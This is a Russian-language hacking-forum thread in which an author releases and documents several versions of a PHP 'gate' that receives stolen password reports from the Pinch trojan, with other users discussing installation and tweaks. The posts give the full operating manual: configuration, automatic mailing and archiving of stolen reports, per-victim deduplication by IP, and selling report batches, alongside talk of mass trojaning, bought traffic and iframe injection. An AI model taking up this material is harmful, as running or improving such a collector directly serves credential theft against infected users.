![]() |
[pinch gate by genom-- v 3.3 ]
[pinch gate by genom-- v3.3] заметил что кое-где остался старый редирект глючный -- заменил и добавил кнопку самоуничтожения -- пусть будет )))) http://genom.h10.ru/gate3.3.txt [pinch gate by genom-- v3.0] вообщем сення загулял 3 пары и написал апдейт в гейту ))))) 1--переделал систему редиректа - теперь я думаю ключить уже нинаодном хосте небудет 2--переделал систему аутентификации - вход на форму осуществляется попрежнему gate.php?stat=1 но форма отправляет инфу постом дабы не палиться в логах 3--теперь пароль запихивается в куки в виде md5 хэша 4--добавил кнопку удалить все отчеты 5--ужал часть таблицы в функциональной части дабы в браузере не мешало закладкам ))) 6--добавил прикольную пежню теперь вам ненадо самим создавать папку для логов - достаточно прописать ее в конфиге и при первол заходе если она не существует то она автоматом создастся 7-- исправил одну багу в фигурными кавычками ))) 8-- понял что надо весь код переписать заново ибо он кривой 9--запатчена бага с аутентификацией новой--переделал трохан ее слить -- http://genom.h10.ru/gate3.txt [pinch gate by genom-- v2.0] Ну вот вообщем руки доросли дописать кое чего в гейт - радует что уже ненадо вам бъяснять что это такое и зачем он нафиг нужен.Итак пойдем по порядку: 1-исправил фичу когда при открытии гейта в браузере с умершей кукой - создавался пустой отчет. Сейчас отчет не создается и выводится мессадж "Страница находится в стадии разработки...". 2-добавил фильтр пустых отчетов -- т.е. они небудут сохраняться. 3-изменил интерфейс - надеюсь этот будет более удобным. -- извините дизайн прежний ибо я страсный любитель кислоты. 4-добавил отдельные кнопки скачать все отчеты и отправить все отчеты. 5-добавил отправку на мыло отчетов по определенной дате. 6-добавил еще один день в статистику прихода(ыыыыыыыыыы =) ) отчетов. 7- исправил механизм пересчета даты в статистике -- раньше в начале месяца криво пересчитвало дату вчерашнего дня исходя из сегодняшней. Теперь даже если вы будете открывать гейт первого марта в высокосный год то увидите норманую дату и требуемое количество отчетов за это число =). Ну вот вроде бы и все что добавил хотя хз может ченить забыл гыгы. Скачать можете тут: http://slil.ru/24638809 http://webfile.ru/1471056 http://www.rapidshare.ru/345841 или на моей паге http://genom.h10.ru/gate.rar Руководство по версии 1.0 итак друзья мои --- недавно по случайному стечению обстоятельств мне пришлось заняться массовым протрояниванием (тссс.. только это секрет) И как результат сначала я использовал троя с отправкой на мыло -- но согласитесь тупо получать на ящик сотни отчетов и потом их разгребать -- переименовывать -- сейвить etc.. Далее мною был опробован гейт -- он конечно более удобен и практичен но согласитесь некоторые проблемы -- как повторы -- пустые отчеты и тд. он решить немог да и заходить каждый день на ftp чтобы скачать отчеты напрягает. Как следствие всего вышеизложенного в моем укуренном сохнание родилась мысль что надо этот процесс как-то упростить и автоматизировать. (в сознании промелькнула мысль:'лень двигатель прогресса' =) ) В итоге у меня получился по моему мнению довольно неплохой гейт с подробной статистикой удобным веб интерфейсом и функциональной автоматизацией =). Итак начнем с самого главного с начала: Дляработы гейта нам понадобится любой хост работающий на никсах с php. Никсовый сервер нам нужен из-за того что архивация происходит с помошью команты tar выполняемой через system(); Если у вас сервак под виндой то либо убейте себя =) либо замените команды в теле скрипта. Все это дело тестировалось мной на genom.h10.ru и работало на ура без каких либо отклонений =) Итак сначала по отношению к внешнему виду -- дизайнер из меня хреновый так что сделал как смог. Описание функционала: Подготовка гейта к работе заключается в открывании его в любом текстовом редакторе и прописывании конфига: $pass='genom'; # ваш пароль $dirname = "logs"; # имя папки с логами $autosend=100; # какими пачками будут отправляться вам на мыло отчеты -- если ноль то небудут $mail='genom87@tut.by'; # мыло на которое гейт будет слать пароли $autoclean=1; # автоочистка отчетов пришедших с одного ip 0-выкл 1-вкл Итак сейвим код и заливаем на хост. В результате имеем ссылку на него типа http://host.gov/gate.php Если вы просто откроете в браузере http://host.gov/gate.php то нифига не увидите =) т.к. гейт расценит это как подключение трояна и засейвит отчет в виде [текущее время]_[текущая дата]_[ip с которого произошел коннект].bin Например: 18-26-44_4-5-2007_127.0.0.1.bin В такомже формате будут сейвиться пришедшие отчеты. Правда он будет иметь нулевую длинну т.к вы ничего не передавали гейту. Для того что-бы попасть в функциональную часть гейта нам нужно открыть http://host.gov/gate.php?stat=1 Вы увидите форму для ввода пароля -- пишите и создается get запрос http://host.gov/gate.php?pass=[пароль] Следовательно если вам впадлу вводить пароль каждый раз то можете сразу переходить по линку http://host.gov/gate.php?pass=[пароль] Тут поясним-- при вводе правильного пароля скрипт вешает вам кукис содержащий значение pass:[пароль] и редиректит вас обратно на http://host.gov/gate.php а скрипт уже видя что у вас висит нужный нам кукис и пароль совпадает впускает вас. Так выглядит наш гейт: http://genom.h10.ru/scr1.jpg http://genom.h10.ru/scr2.jpg На скринах есть некоторые пояснения- но я объясню все подробно: Итак сначала идет конфиг в нем отображается папка в которую будут сохраняться отчеты--- количество найденных отчетов в папке -- состояние автоочистки (о ней позже) -- автоотсылка .. тут указывается количество отчетов при достижениия которого гейт выполнит автоматическую отправку на мыло в виде архива -- далее указано мыло на которе автоматически будут идти отчеты ----- и вв конце суммарный размер папки с отчетами . Гейт признает за отчет любой файл а расширением .bin и если вы закинете впапку с отчетами какойнить лажи то она не войдет в размер папки и не будет отображаться в таблице отчетов. Далее небольшая табличка в которой отображаются количество отчетов имеющих сегодняшнюю и вчерашнюю дату -- это удобно когда вам приходит много отчетов и вы можете реально оценить прирост отчетов например после вчерашней покупки трафика или вставки ифрейма. Потом идет табличка для отправки отчетов на мыло в ручном режиме -- указываете количество -- указываете мыло -- можете выбрать удалить при этом отчеты или нет------- шлеп на кнопку и все отчеты у вас. Или можно ненапрягаться людям продающим отчеты -- допустим купил человек 300 отчетов.. берете у него мыло -- шлеп на кнопку и все довольны =) Ниже идет таблица отправки отчетов по размеру -- похоже на количество но отсылает указанный размер-- скрипт перебирает отчеты пока из суммарный размер не превысит указанный потом пакует и отправляет (этого на скрине нету ибо дописал недавно) Снизу находится таблица для получения линка для скачивания отчетов -- указываете количество и жмете кнопку - архивируется файл down.tar.gz и после автоматического обновления странички эта таблица модифицируется и вы увидите ссылку для скачивания -- после скачки можете его удалить=) Далее вы видите форму очистки отчетов -- сильно расписывать небуду -- все понятно можно удалить те или иные отчеты исходя из критериев даты-- ip -- размера -- или просто определенное количество. Бинго наконецто мы дошли до самого главного... Тут вы видите основную таблицу гейта в ней в нумерованном порядке можно увидеть все отчеты время прихода =) дату и ip ---------- в пятой колонке содержатся имена всех отчетов и линки на них -- можете кликнуть и скачать понравившийся вам отчет-------- следующая колонка показывает размер отчета причем они сортируются по цвету -- зеленые это отчеты меньше 8 кб -- -фиолетовые от 8 до 15 кб ---- остальные красные =) ======== в следующих двух колонках есть небольшой функционал можно удалить текущий отчет или отправить его на мыло указанное в конфиге. ~~~~~~~~~~~~~~~~~~~~ Итак с основным окном разобрались. Теперь о автоочистке -- она находится в самом низу коа скрипта гейт при получении отчета сохраняет его всегда -- далее он проверяет существует ли отчет с таким же ip как и у только что созданного-- если существует то происходит процедура проверки Выбор какой отчет оставит гейт а какой удалит происходит по след схеме-- сначала он проверяет размер -- ели они различные то остается наибольший по размеру отчет - второй удаляется Если размеры отчетов одинаковы от гейт оставляет более свежий отчет. т.е тот который только что пришел а старый удаляется. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ Итак вроде бы описал весь функционал. Конечно код не идеален и можно было сделать покрасивее его. Но уж как смог php не моя стихия =). Итак скачать гейт можете отсюда: http://genom.h10.ru/gate.txt Скриншоты: http://genom.h10.ru/scr1.jpg http://genom.h10.ru/scr2.jpg Кста посмотреть это безобразие можете на genom.h10.ru/gate.php?stat=1 -- только сайт не затрите =) |
Мне это не нужно, но молодец!
+ заслужил.. и все же думаю код у тебя некрасивый.. Т.к. даже PHP код:
Смотрелось бы лучше чтобы = отделялось пробелами с 2 сторон |
толи она с багами , толи я че то не правильно делаю хотя там много ума не надо.... но почему то отчеты не доходят до адресата.... кто нибудь проверял на деле скрипт?
|
походу этот чувак которому я отправил логи оказался просто халявщик.....
минус скрипта в том что после отправки ты ничем не можеш доказать что ты их отправил и то что он их получил.... если сможеш зделать это то буит супер если нет то увы но я понял что это безпантовая вещ я пока им пользоваться не буду.... |
С какими правами сей скрипт устанавливать?
|
Цитата:
проверя я его сам на себе -- мне все приходит на ура =) -- а насчет доказать что произошла отправка- хз я себе это не представляю логи почтового демона тебе недадут выдрать однозначно =) кста можешь сделать линк для скачки и давать заказчику =) ----- и кста перевтаньте слать мне на мыло -- что свое вписать лень? |
Цитата:
просто закинь в веб директорию хоста |
genom--, я тоже хотел добавить в гейт пару-тройку новых функций, но ты меня опередил. Спасибо большое за скрипт! :)
|
чото у меня на локалхосте не робит, ща буим ищо пробовать
genom зачод) |
локалхост непокатит если у тебя не никсы стоят ибо архивация и удаление идет через system()
|
Прости пожалуйста, я тему плохо прочел и поудалял тебе странички index.php,stat.php,shop.php и r57.php
|
мдя --вот пиши после этого чтото для людей =(
я понимаю что оправка имени файла для удаления идет открыто через пост но это же не значит что надо тереть все страницы сайта -- целых 3 =) --- гейт удалил ставьте сейчас себе и тестите --а то щас наберется еще толпа ээээ личностей потрут савсем все |
скрипт робит, а вот данные на него что не пришли.. жалко..
хотя было всего три минуты теста ) |
Цитата:
|
Цитата:
аж бесит |
Цитата:
|
Да прибудет с вами хекас, юные кодеры. Я занялся модификацией скрипта. Ничего нового - только оптимизация старого.
- Людской интерфейс - Удобочитаемый + сокращённый код Функциональность осталась прежней. Скорее всего в будующем добавлю (или геномчик добавит) функцию скачки всего добра одним файлом, т.к. иногда именно так бывает наиболее удобно. А пока новай сессия =\ http://b00z3.jino-net.ru/pinch_gate[by_genom--]and[modified_by_b00zy_c0d3r].rar |
бузя ну ты прям заделал код на него ажно приятно смотреть =)
увы да я не очень аккуратный и дизайнер из меня херовый --не обижайся но мне чет диз както не оч понравился -- яркий слишком -- ну на вкус и цвет--- уж какой есть =) зы. кстати если есть предложения что добавить пишите тут -- обновлю |
Сделай отправку по СМС :) Будет ШИКАРНО))
http://www.callwave.com/My/TextMessages/ вот если что) Отправка без антибот-кода. |
а можно мини инструкцию
Цитата:
Цитата:
какие надо права на папку и скрипт (хостинг джино) |
Цитата:
Папку создаешь и туда будут отчетики сливаться твои. Права СТО РАЗ УЖЕ ПИЛЯТЬ ТЕБЕ ПИСАЛИ. Клац Верхний постик. |
Я тут всё лениво ждал, пока кто-нить отпишется, что гейт не пашет. В версии, доделанной мною там надо поменять все argv[0] на $SCRIPT_NAME а то знаете ли си стал повторять вот и ошибся ))
|
попробовал, отчеты приходят
Получить линк для скачки: Скачать *** отчетов. ----- не получилось чем открывать reports.tar.gz ? |
бузя -- я припас и вроде отписывал или нет)))))
vasya_rogov -- ппц зачем звездочки укажи число отчетов в цифрах чем открывать reports.tar.gz ? АРХИВАТОРОМ -- раром или зипом любым ps думаю трохан апдейт сделать - как руки дойдут |
Цитата:
архиватором раром открывал - не открыаецца, наверно недокачалось или типатого ждем апдейда.. респект и уважуха!! |
и не удивительно если ему звездачик указать -- то после их архив и не распакуется =)
|
Цитата:
c нетерпением ждем!! |
написал вторую версию гейта -- обновил первй пост
[pinch gate by genom-- v2.0] Ну вот вообщем руки доросли дописать кое чего в гейт - радует что уже ненадо вам бъяснять что это такое и зачем он нафиг нужен. Цитата:
если вы не знаете что это такое то почитайте тут http://forum.antichat.ru/thread39743.html Итак пойдем по порядку: 1-исправил фичу когда при открытии гейта в браузере с умершей кукой - создавался пустой отчет. Сейчас отчет не создается и выводится мессадж "Страница находится в стадии разработки...". 2-добавил фильтр пустых отчетов -- т.е. они небудут сохраняться. 3-изменил интерфейс - надеюсь этот будет более удобным. -- извините дизайн прежний ибо я страсный любитель кислоты. 4-добавил отдельные кнопки скачать все отчеты и отправить все отчеты. 5-добавил отправку на мыло отчетов по определенной дате. 6-добавил еще один день в статистику прихода(ssssssssss =) ) отчетов. 7- исправил механизм пересчета даты в статистике -- раньше в начале месяца криво пересчитвало дату вчерашнего дня исходя из сегодняшней. Теперь даже если вы будете открывать гейт первого марта в высокосный год то увидите норманую дату и требуемое количество отчетов за это число =). Ну вот вроде бы и все что добавил хотя хз может ченить забыл гыгы. Скачать можете тут: http://slil.ru/24638809 http://webfile.ru/1471056 http://www.rapidshare.ru/345841 или на моей паге http://genom.h10.ru/gate.rar ______________________________________________ и пох что нету подписи =))))))))))))) http://genom.h10.ru/sp.gif |
Цитата:
|
блин лебедь -- старую тему просто никто не смотрит - а если смотреть на количество просмотров (>2500) то можно сделать вывод что это интересует очень многих и следовательно новая версия нужна этим людям ----- поэтому я заделал новый топик и его посмотрело сразу 200 человек
ну в общем делайте что хотите дело ваше =( |
а я то думаю куда новая тема делась :) хорошо что качнуть успел
|
не это все пон9л 9, но как пассы воровать?
|
как? ээээ пинчем
|
кстати,а ведь отчеты нового пинча уже не в формате bin ,это было учтено ?
|
Цитата:
|
пример :
Цитата:
|
нет в .bin сейвятся все отчеты --- хотя помойму парсеру должно быть глубоко всеравно какое расширение -- попробуй переименовать отчет в .bin и скормить его парсеру -- как он отреагирует на это?
|
при обновлении старницы gate.php в браузере сверху выскакивает:
Warning: unlink(logs/блаблабла.bin): No such file or directory in /путь.к.гейту/gate.php on line 39 Это нормально? |
Ты не должен так обновлять эту страницу браузером. Ведь ты не посылаешь по сути гейту никакой информации. Вот он и ругаеться! Я не юзал гейт от генома, но уверен, что проверять надо отчетами. Сделай тестового пинча и проверь прежде чем эксплуатировать.
|
это из-за того что ты обновляешь после того запроса на удаление отчета и следовательно браузер пытается файл удалить опять уже затертый -- хз зачем ты это делаешь =) -- кстати скоро подправлю изменю редирект и пару кнопок добавлю
|
| Время: 21:24 |